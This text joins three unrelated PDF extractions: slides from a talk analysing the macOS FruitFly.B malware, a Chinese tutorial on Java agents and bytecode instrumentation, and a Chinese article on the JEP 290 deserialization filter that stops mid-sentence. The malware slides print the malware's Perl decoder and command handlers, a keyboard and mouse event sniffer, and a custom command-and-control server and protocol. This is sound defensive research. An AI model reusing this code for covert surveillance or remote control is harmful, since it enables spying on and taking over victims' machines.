 client info } } loop 1 2 3 do cmd tasking 'do cmd x' 4 command response client info main processing loop MONITORING how to passively observe network;files;processes;mouse;keyboard WATCH ALL THINGS cmd ‘x’ do cmd ‘x’ } files? procs? mouse? keys? cmd response network traffic file i/o processes execs 
 (& shell commands) mouse & keyboard events osx/fruitfly command processing monitor for these! goal: to understand the malware's capabilities via tasking & passive monitoring c&c server, protocol & command analysis NETWORK MONITORING # tcpdump port 53 tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP) IP 192.168.0.67.59185 > google-public-dns-a.google.com.domain: 41875+ A? eidk.hopto.org. (32) IP google-public-dns-a.google.com.domain > 192.168.0.67.59185: 41875 1/0/0 A 127.0.0.1 (48) tcpdump: dns query for (primary) c&c server cmd #13 "~/fpsaud" wireshark: response for command #13 } "install path" malware components & command analysis FILE MONITORING # sudo fs_usage -w -f filesystem | grep perl open F=5 /private/tmp/client perl5 lseek F=5 <SEEK_CUR> perl5 write F=5 B=0x2000 perl5
 write F=5 B=0x11e8 perl5 close F=5 perl5 fs_usage: dropping embedded binary #assign my $u = join '', <DATA>; #decode my $W = pack 'H*', 'b02607441aa086'; $W x= 1 + length($u) / length($W); $u ^= substr $W, 0, length $u; #expand $u =~ s/\0(.)/v0 x(1+ord$1)/seg; __DATA__ ‹Í∫†á±%Eö¢Ü≤”F˙°Ü± £B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√ËrH͆ÇÄ&t•Å∞$D°Ü∂yX0ÿÚ∞/ XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&]¢Œ∞$XVÈ»˚cCN†ÄÄ&¥§ñ∞7DHá .. /tmp/client encoded mach-O binary & decoding logic #argument processing # ->reads from stdin & switches on value call getchar lea rdx, qword [sub_100001cc0+356] movsxd rax, dword [rdx+rax*4] add rax, rdx jmp rax } switch() to exec complex commands /tmp/client command analysis PROCESS MONITORING cmd #11 no open-source user-mode process monitoring utility for macOS #procMonitor new process: pid=5836 path=/usr/local/bin/pwd args=none ancestors=(5836/perl5, 1/launchd) 'pwd' let's write one :) process monitoring library free/open-source/user-mode! #import "processLib.h" //create callback block ProcessCallbackBlock block = ^(Process* newProcess){ NSLog(@"new process:\n %@", newProcess); }; //init object ProcessMonitor* procMon = [[ProcessMonitor alloc] init]; //go go go [procMon start:block]; using the process monitor lib procMonitor: pwd (cmd #11) command analysis MOUSE/KEYBOARD MONITORING //init event with mouse events & key presses eventMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) | CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) | CGEventMaskBit(kCGEventMouseMoved) | CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp); //create event tap eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, callback, NULL); //callback for mouse/keyboard events CGEventRef callback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { //key presses if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) ) { //get code keycode = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); //dbg msg printf("keycode: %s\n\n”, keyCodeToString(keycode)); } //mouse else { //get location location = CGEventGetLocation(event); //dbg msg printf("(x: %f, y: %f)\n\n", location.x, location.y); } ... # ./sniff event: kCGEventKeyDown keycode: h event: kCGEventKeyUp keycode: h event: kCGEventKeyDown keycode: i event: kCGEventKeyUp keycode: i event: kCGEventLeftMouseDown (x: 640.23, y: 624.19) event: kCGEventLeftMouseUp (x: 640.23, y: 624.19 "Receiving, Filtering, & Modifying:
 › Mouse Events 
 › Key Presses and Releases" -Mac OS X Internals mouse/keyboard sniffer sniff sniff! code based on: BUILDING A CUSTOM C&C SERVER …and then we task! handling connections CUSTOM C&C SERVER address of c&c server(s) (can specify via cmdline!) malware's protocol #init socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #bind & listen sock.bind(('0.0.0.0', port)) sock.listen(1) #wait for malware to connect while True: connection, client_address = sock.accept() print 'client connected: ', client_address python c&c server $ python server.py 1337 listening on ('0.0.0.0', 1337) waiting for a connection… client connected: ('192.168.0.13') $ perl fpsaud 192.168.0.2:1337 now we know: launching osx/fruitfly.b connection received! handling 'check-in' CUSTOM C&C SERVER #connect $l = new IO::Socket::INET( PeerAddr => scalar( reverse $g ), PeerPort => $h, Proto => 'tcp', Timeout => 10 ); #send client info G v1 . Y(1143) . Y( $q ? 128 : 0 ) . Z( I('scutil --get LocalHostName’)) . Z( I('whoami') ); connect & send client info size value 1 byte 1 4 bytes 1143 (version #) 4 bytes 0, or 128 variable host name variable user name ('whoami') $ python server.py 1337 ... client connected: ('192.168.0.13') client data: offset 0x00: byte 1 offset 0x01: int: 1143 offset 0x05: int: 0 offset 0x0d: str (host name): users-Mac offset 0x1a: str (user name): user parsing client info format of client info G(): send data to c&c server Y(): pack integer Z(): pack string relevant subroutines handling commands CUSTOM C&C SERVER triage command to see: send command send additional bytes receive and process data 1 2 3 for each command: #command 11 def cmd11(connection): #send command connection.sendall(struct.pack('b', 11)) #malware first responds w/ command # data = connection.recv(1) print 'byte: 0x%02x (command)' % (ord(data)) #read & unpack length of pwd data = connection.recv(4) length = struct.unpack('I', data)[0] #read 'pwd' data = connection.recv(length) print 'string: %s' (pwd) % data $ pwd /Users/user/Desktop $ perl fpsaud 192.168.0.2:1337 launching osx/fruitfly.b c&c command #11 implementation #command 11 elsif ( $D == 11 ) { G v11 . Z( I('pwd') ) } cmd #11 tasking (command #11) $ python server.py 1337 ... client connected: '192.168.0.13' available commands: 11: Print Working Directory select command: 11 response: byte: 11 (command) string: '/Users/user/Desktop' (pwd) cmd #11 a b additional bytes/data? format of the response TASKING OSX/FRUITFLY.B exposing capabilities via /tmp/client COMMAND #2 #command 2 elsif ( $D == 2 ) { my ($Z, $C) = (J 1);
 if (!$O && V(v2 . $Z) && defined($C = E(4)) && defined($C = E(unpack 'V', $C))) { G v2 . Z($C); } } direction size value recv 1 byte commmand, 2 recv 1 bytes ? send 1 byte command, 2 send variable ? E(): read byte(s) from proc J(): recv byte(s) V(): exec embedded binary G(): send data to c&c server command #2 cmd #2, 0 # sudo fs_usage -w -f filesystem | grep perl open F=5 /private/tmp/client perl5 lseek F=5 <SEEK_CUR> perl5 write F=5 B=0x2000 perl5
 write F=5 B=0x11e8 perl5 close F=5 perl5 # procMonitor new process: pid=3237 path=/private/tmp/client args=none ancestors=(1, 3233) relevant subroutines command #2's protocol file i/o & process events } args (cmd,?) via stdin oh; screen capture! COMMAND #2 $ du -h response.unknown 1.4M $ hexdump -C response.unknown 00000000 89 50 4e 47 0d 0a 1a 0a |.PNG....| 00000008 00 00 00 0d 49 48 44 52 |....IHDR| ... $ file response.unknown PNG image data, 1245 x 768, 8-bit/color RGB looks like a .png! screen capture response to (cmd #2,0); sends back 1MB+ wireshark capture that second byte? COMMAND #2 cmd #2, 0 cmd #2, 1 cmd #2, 8 cmd #2, 32 cmd #2, 64 cmd #2, 128 cmd #2, 255 param size type color resolution 0 1.4MB PNG color high 1 64KB PNG black & white low 8 788KB PNG black & white high 9 1.4MB PNG color high 10 60KB JPEG color low 64 168KB JPEG color medium 110 1.2MB JPEG color high 111+ 1.4MB PNG color high cmd #2, 1 (low-res B&W png) cmd #2, 10 (low-res color jpg) } subcommand (2nd byte) impact task away: ...the mouse moved! COMMAND #8 #command 8 elsif ( $D == 8 ){ #recv 9 bytes my ( $Z, $C ) = ( J 9 ); if ( V( v8 . $Z ) && defined($C = E(1)) ){ G(ord($C) ? v8 : v0.10); } } direction size value recv 1 byte commmand, 8 recv 9 bytes ? send 1 || 2 bytes command, 8 || 0, 10 command #8 command #8's protocol response provides no insight into command :( cmd #8 
 (0,123,456) # ./sniff event: kCGEventMouseMoved (x: 123.000000, y: 456.000000) mouse move (x,y) ...and action! ...that second byte? COMMAND #8 cmd #8, 0 (123,456) cmd #8, 1 (123,456) cmd #8, 2 (123,456) ... cmd #8, 7 (123,456) } sub-cmd description 0 move 1 left click (up & down) 2 left click (up & down) 3 left double click 4 left click (down) 5 left click (up) 6 right click (down) 7 right click (up) note that: mouse is moved, 
 then action down (#4) + then move (#0) + then up events (#5) = 'drag' # ./sniff event: kCGEventLeftMouseDown (x: 123.000000, y: 456.000000) event: kCGEventLeftMouseDragged (x: 0.000000, y: 0.000000) event: kCGEventLeftMouseUp (x: 0.000000, y: 0.000000) command #8, sub commands task away: ...and action! keyboard events COMMAND #16/17 #command 16 / 17 elsif ( $D == 16 || $D == 17 ) { #recv 1 byte my $Z = J 1; G(v0.23) if !V( chr($D) . $Z ); } direction size value recv 1 byte commmand, 16 || 17 recv 1 byte ? send 2 bytes 0, 23 (only error) command #16/17 command #16/17's protocol cmd #16, 0 cmd #16, 1 ... cmd #16, 65 cmd #17, 65 nothing... no bytes sent file write
 /tmp/client proc exec
 /tmp/client keyboard events # sniff event: kCGEventKeyDown keycode: 0x0/'a' cmd #16, 65 # sniff event: kCGEventKeyUp keycode: 0x0/'a' cmd #17, 65 remote typing task away: osx/fruitfly.b; fully deconstructed :) COMMANDS cmd sub-cmd description 0 do nothing 2 screen capture (PNG, JPEG, etc) 3 screen bounds 4 host uptime 6 evaluate perl statement 7 mouse location 8 mouse action 0 move mouse 1 left click (up & down) 2 left click (up & down) 3 left double click 4 left click (down) 5 left click (up) 6 right click (down) 7 right click (up) 11 working directory 12 file action 0 does file exist? 1 delete file 2 rename (move) file 3 copy file 4 size of file 5 not implemented 6 read & exfiltrate file 7 write file 8 file attributes (ls -a) 9 file attributes (ls -al) cmd sub-cmd description 13 malware's script location 14 execute command in background 16 key down 17 key up 19 kill malware's process 21 process list 22 kill proces 26 read string (command not fully implemented?) 27 directory actions 0 do nothing 2 directory listing 29 read byte (command not fully implemented?) 30 reset connection to trigger reconnect 35 get host by name 43 string' action 'alert' set alert to trigger when user is active 'scrn' toggle method of screen capture 'vers' malware version <string> execute shell command 47 connect to host TRAPPING FRUIT FLIES let's play a little game oh f***; they are available! ABOUT THOSE BACKUP C&C SERVERS #decode c&c backup servers
 for my $B ( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') ) { push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’); } backup c&c servers hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org fxxxxxx.hopto.org fxxxxxx.duckdns.org fxxxxxx.hopto.org fxxxxxx.duckdns.org $ ping eidk.hopto.org PING eidk.hopto.org (127.0.0.1) : 56 data bytes primary; 'offline' } primary c&c servers are all taken ...and are offline addresses of backup ones all available register c&c server ANYBODY THERE? 'hxxxxx.hopto.org' 'fxxxxxx.hopto.org' ... 1 2 register start custom c&c server 09:18:25,702 client connected ( 73.215.4x.xx , 641 09:18:29,561 client connected ('107.10.21x.xx', 58 09:18:49,042 client connected ('73.28.17x.xx', 507 09:19:34,987 client connected ('73.95.13x.xxx', 19 09:19:43,657 client connected ('104.246.6x.xxx', 5 09:19:55,198 client connected ('98.225.11x.xx', 50 09:21:13,237 client connected ('129.22.x.xx', 5436 09:21:58,868 client connected ('132.239.1x.xxx', 6 09:22:10,385 client connected ('73.222.5x.xx', 557 09:22:39,061 client connected ('98.27.14x.xx', 455 09:23:44,346 client connected ('67.247.3x.xxx', 52 09:24:29,554 client connected ('47.40.11x.xxx', 61 09:24:30,947 client connected ('99.241.19x.xxx', 3 09:25:09,028 client connected ('73.42.18x.xx', 628 09:25:31,818 client connected ('73.67.24x.xx', 563 09:25:43,006 client connected ('71.231.12x.xxx', 5 09:25:46,536 client connected ('68.129.15x.xx', 56 09:25:52,615 client connected ('67.176.x.xxx', 562 09:25:57,297 client connected ('129.22.7x.xx', 523 09:26:11,636 client connected ('98.253.4x.xxx', 50 09:26:19,453 client connected ('140.252.11x.xxx', 09:26:40,407 client connected ('24.239.25x.xxx', 5 09:27:04,745 client connected ('68.51.25x.xxx', 63 09:27:16,935 client connected ('68.38.8x.xxx', 498 09:27:30,631 client connected ('73.189.15x.xxx', 5 09:27:37,894 client connected ('129.22.x.xx', 6205 09:27:38,611 client connected ('96.60.12x.xxx', 59 09:28:45,814 client connected ('24.5.4x.xxx', 5862 09:29:34,850 client connected ('130.9x.1x.xx', 501 09:29:42,912 client connected ('173.17x.11x.xxx', 09:31:05 436 client connected ('70 21x 1x xxx' 91 3 ...yikes user name & computer name geolocation } ~400 victims 
 (in ~2 days) ~90% in the USA now involved CONCLUSIONS wrapping this up ...just by asking the right questions ANALYZING OSX/FRUITFLY.B built:
 custom C&C server 1 tasked:
 the malware observed:
 the malware's response 2 3 hxxxxx.hopto.org eidk.hopto.org macOS monitoring tools full analysis of 
 OSX/FruitFly.B results: buzz off FruitFly :) (FREE!) PROTECTION BlockBlock: persistence (runtime) OverSight: mic/webcam KnockKnock: persistence LuLu: network traffic support it :) www.patreon.com/objective_see contact me any time :) QUESTIONS & ANSWERS @patrickwardle [email protected] www.synack.com/red-team join the red team! patreon.com/objective_see speakerdeck.com/patrickwardle
pdf
S-javaagent 参考文章 javaagent使用指南 Java Instrumentation javaagent 实例 Javaagent 是 java 命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:1、这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。2、 Premain-Class 指定的那个类必须实现 premain() 方法。 premain 方法,从字面上理解,就是 运行在 main 函数之前的的类。当 Java 虚拟机启动时,在执行 main 函数之前, JVM 会先运 行 -javaagent 所指定 jar 包内 Premain-Class 这个类的 premain 方法 。在命令行输入 java 可以看到相应的参数,其中有 和 java agent相关的: -agentlib:<libname>[=<选项>] 加载本机代理库 <libname>, 例如 -agentlib:hprof   另请参阅 -agentlib:jdwp=help 和 -agentlib:hprof=help -agentpath:<pathname>[=<选项>]   按完整路径名加载本机代理库 -javaagent:<jarpath>[=<选项>]   加载 Java 编程语言代理, 请参阅 java.lang.instrument agent 编写 MANIFREST.MF PreMainTraceAgent 此处需要注意的是自动打包的过程中,自定义的 MANIFREST.MF 会被修改,所以需要手动替换,或 者是用maven打包,并自定义打包插件 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: PreMainTraceAgent //此处是一个空行,不可省略 import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class PreMainTraceAgent {    public static void premain(String agentArgs, Instrumentation inst){        System.out.println("agentArgs : " + agentArgs);        inst.addTransformer(new DefineTransformer(), true);   }    static class DefineTransformer implements ClassFileTransformer{        @Override        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {            System.out.println("premain load Class:" + className);            return classfileBuffer;       }   } } <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <parent>        <artifactId>javaagent</artifactId>        <groupId>org.example</groupId>        <version>1.0-SNAPSHOT</version>    </parent>    <modelVersion>4.0.0</modelVersion>    <artifactId>agentClass</artifactId>    <build>        <plugins>            <plugin>                <groupId>org.apache.maven.plugins</groupId> main 函数编写 新建一个项目,创建main函数,在启动时通过 -javaagent 参数执行 premain 函数                <artifactId>maven-jar-plugin</artifactId>                <version>3.1.0</version>                <configuration>                    <archive>                        <!--自动添加META-INF/MANIFEST.MF -->                        <manifest>                            <addClasspath>true</addClasspath>                        </manifest>                        <manifestEntries>                            <Premain-Class>PreMainTraceAgent</Premain-Class>                            <Agent-Class>PreMainTraceAgent</Agent-Class>                            <Can-Redefine-Classes>true</Can-Redefine-Classes>                            <Can-Retransform-Classes>true</Can-Retransform- Classes>                        </manifestEntries>                    </archive>                </configuration>            </plugin>        </plugins>    </build>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>    </properties> </project> public class TestMain {    public static void main(String[] args) {        System.out.println("main start");        try {            Thread.sleep(3000);       }catch (InterruptedException e){            e.printStackTrace();       }        System.out.println("main end");   } } 添加 JVM 参数,在启动时注入 agent 执行后会打印出全部的类加载过程 动态修改字节码内容 运行 main 函数之前首先通过 javassit 修改 date 方法的类 import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class MyClassTransformer implements ClassFileTransformer {    @Override 重新打包然后运行之后    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {        // 操作Date类        System.out.println(className);        if ("java/util/Date".equals(className)) {            System.out.println(11111111);            try {                //java.util.Date                // 从ClassPool获得CtClass对象                final ClassPool classPool = ClassPool.getDefault();                final CtClass clazz = classPool.get("java.util.Date");                CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");                //这里对 java.util.Date.convertToAbbr() 方法进行了改写,在 return之前 增加了一个 打印操作                String methodBody = " {sb.append(Character.toUpperCase(name.charAt(0)));" +                        "sb.append(name.charAt(1)).append(name.charAt(2));" +                        "System.out.println(\"sb.toString()\");" +                        "return sb;}";                convertToAbbr.setBody(methodBody);                // 返回字节码,并且detachCtClass对象                byte[] byteCode = clazz.toBytecode();                //detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需 要在内存中找不到会重新走javassist加载                clazz.detach();                return byteCode;           } catch (Exception ex) {                ex.printStackTrace();           }       }        // 如果返回null则字节码不会被修改        return null;   } } JVM 启动后动态 Instrument 上面介绍的 Instrumentation 是在 JDK 1.5 中提供的,开发者只能在 main 加载之前添加手脚, 在 Java SE 6 的 Instrumentation 当中,提供了一个新的代理操作方法: agentmain ,可以在 main 函数开始运行之后再运行。 agentmain 的编写 配置 pom import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class AgentMain {    public static void agentmain(String agentArgs, Instrumentation instrumentation) {        instrumentation.addTransformer(new DefineTransformer(), true);   }    static class DefineTransformer implements ClassFileTransformer {        @Override        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {            System.out.println("premain load Class:" + className);            return classfileBuffer;       }   } } <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <parent>        <artifactId>javaagent</artifactId>        <groupId>org.example</groupId>        <version>1.0-SNAPSHOT</version>    </parent>    <modelVersion>4.0.0</modelVersion>    <artifactId>agentMain</artifactId>    <build>        <plugins>            <plugin>                <groupId>org.apache.maven.plugins</groupId>                <artifactId>maven-jar-plugin</artifactId>                <version>3.1.0</version>                <configuration>                    <archive>                        <!--自动添加META-INF/MANIFEST.MF -->                        <manifest> main 函数编写 通过 VirtualMachineDescriptor 获取所有运行中的 jvm 进程,然后匹配当前进程,最后加载 agent                            <addClasspath>true</addClasspath>                        </manifest>                        <manifestEntries>                            <Agent-Class>AgentMain</Agent-Class>                            <Can-Redefine-Classes>true</Can-Redefine-Classes>                            <Can-Retransform-Classes>true</Can-Retransform- Classes>                        </manifestEntries>                    </archive>                </configuration>            </plugin>        </plugins>    </build>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>    </properties> </project> import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class TestMain2 {    public static void main(String[] args) throws IOException, AttachNotSupportedException {        //获取当前系统中所有 运行中的 虚拟机        System.out.println("running JVM start ");        List<VirtualMachineDescriptor> list = VirtualMachine.list();        for (VirtualMachineDescriptor vmd : list) {            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid            //然后加载 agent.jar 发送给该虚拟机            System.out.println(vmd.displayName());            if (vmd.displayName().endsWith("TestMain2")) {  //在获取到当前进程之后, 注入agent                System.out.println("111111111111");                VirtualMachine virtualMachine = null;                try {                    virtualMachine = VirtualMachine.attach(vmd.id());                    virtualMachine.loadAgent("D:\\Java\\project\\study\\基础 \\javaagent\\agentMain\\target\\agentMain-1.0-SNAPSHOT.jar");                    virtualMachine.detach();               } catch (AgentLoadException e) {                    e.printStackTrace();               } catch (AgentInitializationException e) {                    e.printStackTrace();               }           }       } 运行结果   } }
pdf
作者:白帽汇安全研究院@kejaly 校对:白帽汇安全研究院@r4v3zn 前言 在研究高版本 JDK 反序列化漏洞的时候,往往会涉及到 JEP 290 规范。但是网上公开针对 JEP 290 规范 原理研究的资料并不是很多,这就导致在研究高版本 java 反序列化的时候有些无能为力,所以最近对 JEP 290 规范好好的研究的一番,输出这篇文章,希望和大家一起交流学习。 简介 官方描述: Filter Incoming Serialization Data ,即过滤传入的序列化数据。 主要内容有: Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes.【提供了一个灵活的 机制,将可以反序列化的类从应用程序类缩小到适合上下文的类集(也就是说提供一个限制反序列 化的类的机制,黑白名单方式)。】 Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors.(限制反序列化深度和复杂度) Provide a mechanism for RMI-exported objects to validate the classes expected in invocations.【为 RMI 导出的对象设置了验证机制。( 比如对于 RegistryImpl , DGCImpl 类内置 了默认的白名单过滤)】 The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. Define a global filter that can be configured by properties or a configuration file.(提供一个全 局过滤器,可以从属性或者配置文件中配置) JEP 290 在 JDK 9 中加入,但在 JDK 6,7,8 一些高版本中也添加了: 官方文档:https://openjdk.java.net/jeps/290 JEP 290 核心类 JEP 290 涉及的核心类有: ObjectInputStream 类, ObjectInputFilter 接口, Config 静态类以 及 Global 静态类。其中 Config 类是 ObjectInputFilter 接口的内部类, Global 类又是 Config 类的内部类。 ObjectInputStream 类 JEP 290 进行过滤的具体实现方法是在 ObjectInputStream 类中增加了一个 serialFilter 属性和一 个 filterChcek 函数,两者搭配来实现过滤的。 构造函数 有两个构造函数,我们需要关注的是在这两个构造函数中都会赋值 serialFilter 字段为 ObjectInputFilter.Config.getSerialFilter() : ObjectInputFilter.Config.getSerialFilter() 返回 ObjectInputFilter#Config 静态类中的 serialFilter 静态字段 Java™ SE Development Kit 8, Update 121 (JDK 8u121) Java™ SE Development Kit 7, Update 131 (JDK 7u131) Java™ SE Development Kit 6, Update 141 (JDK 6u141) serialFilter 属性 serialFilter 属性是一个 ObjectInputFilter 接口类型,这个接口声明了一个 checkInput 方法 (关于 ObjectInputFilter 后面会更细致的讲解)。 filterCheck 函数 filterCheck 函数逻辑可以分三步。 第一步,先会判断 serialFilter 属性值是否为空,只有不为空,才会进行后续的过滤操作。 第二步,将我们需要检查的 class ,以及 arryLength 等信息封装成一个 FilterValues 对象, 传入到 serialFilter.checkInput 方法中,返回值为 ObjectInputFilter.Status 类型。 最后一步,判断 status 的值,如果 status 是 null 或者是 REJECTED 就会抛出异常。 ObjectInputStream 总结 到这里可以知道, serialFilter 属性就可以认为是 JEP 290 中的"过滤器"。过滤的具体逻辑写到 serialFilter 的 checkInput 方法中,配置过滤器其实就是设置 ObjectInputStream 对象的 serialFilter 属性。并且在 ObjectInputStream 构造函数中会赋值 serialFilter 为 ObjectInputFilter#Config 静态类的 serialFilter 静态字段。 ObjectInputFilter 接口 是 JEP 290 中实现过滤的一个最基础的接口,想理解 JEP 290 ,必须要了解这个接口。 在低于 JDK 9 的时候的全限定名是 sun.misc.ObjectInputFIlter , JDK 9 及以上是 java.io.ObjectInputFilter 。 另外低于 JDK 9 的时候,是 getInternalObjectInputFilter 和 setInternalObjectInputFilter , JDK 9 以及以上是 getObjectInputFilter 和 setObjectInputFIlter 。 先来看一下 ObjectInputFilter 接口的结构: 有一个 checkInput 函数,一个静态类 Config ,一个 FilterInfo 接口,一个 Status 枚举类。 函数式接口 @FunctionalInterface 注解表明, ObjectInputFilter 是一个函数式接口。对于不了解函数式接 口的同学,可以参考:https://www.runoob.com/java/java8-functional-interfaces.html 以及 https:// www.jianshu.com/p/40f833bf2c48 , https://juejin.cn/post/6844903892166148110 。 在这里我们其实只需要关心函数式接口怎么赋值,函数式接口的赋值可以是: lambda 表达式或者是方 法引用,当然也可以赋值一个实现了这个接口的对象。 lambda 赋值: 使用函数引用赋值,比如 RMI 中 RegistryImpl 使用的就是函数引用赋值: Config 静态类 Config 静态类是 ObjcectInputFilter 接口的一个内部静态类。 Config#configuredFilter 静态字段 configuredFilter 是一个静态字段,所以调用 Config 类的时候就会触发 configuredFilter 字段 的赋值。 可以看到会拿到 jdk.serailFilter 属性值,如果不为空,会返回 createFilter(var0) 的结果 ( createFilter 实际返回的是一个 Global 对象)。 jdk.serailFilter 属性值获取的方法用两种,第一种是获取 JVM 的 jdk.serialFilter 属性,第二 种通过在 %JAVA_HOME%\conf\security\java.security 文件中指定 jdk.serialFilter 来设置。 另外从代码中可以看到,优先选择第一种。 Config#createFilter 方法 Config#createFilter 则会进一步调用 Global.createFilter 方法,这个方法在介绍 Global 类的 时候会说,其实就是将传入的 JEP 290 规则字符串解析到 Global 对象的 filters 字段上,并且返回这 个 Global 对象。 Config 类的静态块 Config 类的静态块,会赋值 Config.configuredFilter 到 Config.serialFilter 上。 Config#getSerialFilter 方法 返回 Config#serialFilter 字段值。 Config 静态类总结 Config 静态类在初始化的时候,会将 Config.serialFilter 赋值为一个 Global 对象,这个 Global 对象的 filters 字段值是 jdk.serailFilter 属性对应的 Function 列表。(关于 Global 对象介绍 下面会说到,大家先有这么一个概念) 而 ObjectInputStream 的构造函数中,正好取的就是 Config.serialFilter 这个静态字段 , 所以 设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器。 比如可以通过配置 JVM 的 jdk.serialFilter 或者 %JAVA_HOME%\conf\security\java.security 文件的 jdk.serialFilter 字段值,来设置 Config.serialFilter ,也就是设置了全局过滤。 另外还有就是一些框架,在开始的时候设置也会设置 Config.serialFilter ,来设置 ObjectInputStream 类的全局过滤。 weblogic 就是,在启动的时候会设置 Config.serialFilter 为 WebLogicObjectInputFilterWrapper 对象。 Global 静态类 Global 静态类是 Config 类中的一个内部静态类。 Global 类的一个重要特征是实现了 `ObjectInputFilter 接口,实现了其中的 checkInput 方法。 所以 Global 类可以直接赋值到 ObjectInputStream.serialFilter 上。 Global#filters 字段 是一个函数列表。 Global#checkInput 方法 Global 类的 checkInput 会遍历 filters 去检测要反序列化的类。 Global 中的构造函数 Global 中的构造函数会解析 JEP 290 规则。 Global 中的构造函数的作用用一句话总结就是:解析 JEP 290 规则为对应的 lambda 表达式,然后添加到 Global.filters 。 JEP 290 的规则如下: Global 类的构造函数: 具体就是通过 filters add 添加 lambdd 表达式到 filters 中,也就是说对 Global 的 filters 赋值 的是一个个 lambada 函数。 Global#createFilter 方法 传入规则字符串,来实例化一个 Global 对象。 Global 类的总结 Global 实现了 ObjectInputFilter 接口,所以是可以直接赋值到 ObjectInputStream.serialFilter 上。 Global#filters 字段是一个函数列表。 Global 类中的 chekInput 方法会遍历 Global#filters 的函数,传入需要检查的 FilterValues 进行检查( FilterValues 中包含了要检查的 class , arrayLength ,以及 depth 等)。 过滤器 在上面总结 ObjectInputStream 类的中说过,配置过滤器其实就是设置 ObjectInputStream 类中的 serialFilter 属性。 过滤器的类型有两种,第一种是通过配置文件或者 JVM 属性来配置的全局过滤器,第二种则是来通过改 变 ObjectInputStream 的 serialFilter 属性来配置的局部过滤器。 全局过滤器 设置全局过滤器,其实就是设置 Config 静态类的 serialFilter 静态字段值。 具体原因是因为在 ObjectInputStream 的两个构造函数中,都会为 serialFilter 属性赋值为 ObjectInputFilter.Config.getSerialFilter() 。 而 ObjectInputFilter.Config.getSerialFilter 就是直接返回 Config#serialFilter : jdk.serailFilter 在介绍 Config 静态类的时候说到, Config 静态类初始化的时候,会解析 jdk.serailFilter 属性 设置的 JEP 290 规则到一个 Global 对象的 filters 属性,并且会将这个 Global 对象赋值到 Config 静态类的 serialFilter 属性上。 所以,这里 Config.serialFilter 值默认是解析 jdk.serailFilter 属性得到得到的 Global 对 象。 weblogic 全局过滤器 在 weblogic 启动的时候,会赋值 Config.serialFilter 为 WebLogicObjectInputFilterWrapper 。 具体流程如下: 首先在 weblogic 启动的时候,先调用 WeblogicObjectInputFilter.initializeInternal 方法,在 initializeInternal 方法中会先 new 一个 JreFilterApiProxy 对象,这个对象是一个进行有关 JEP 290 操作的代理对象(具体原理是通过反射来调用的)。 随后 new 一个 WeblogicFilterConfig 对象。 在创建 WeblogicFilterConfig 对象的时候中会对 weblogic 黑名单进行整合,最后得到 WeblogicFilterConfig 中 serailFilter , golbalSerailFilter ,以及 unauthenticatedSerialFilter 属性如下: 接着调用 filterConfig.getWebLogicSerialFilter 取出上面赋值的 WeblogicFilterConfig#serailFilter ,并调用 filterApliProxy.createFilterForString 方法 把 filter 字符串转化为 Object 类型,并且封装到 WebLogicObjectInputFilterWrapper 对象中。 最后会取出刚刚设置的 filter ,传入 filterApiProxy.setGlobalFilter 方法中对 Config 的 serialFilter 属性赋值: 调用完之后我们利用 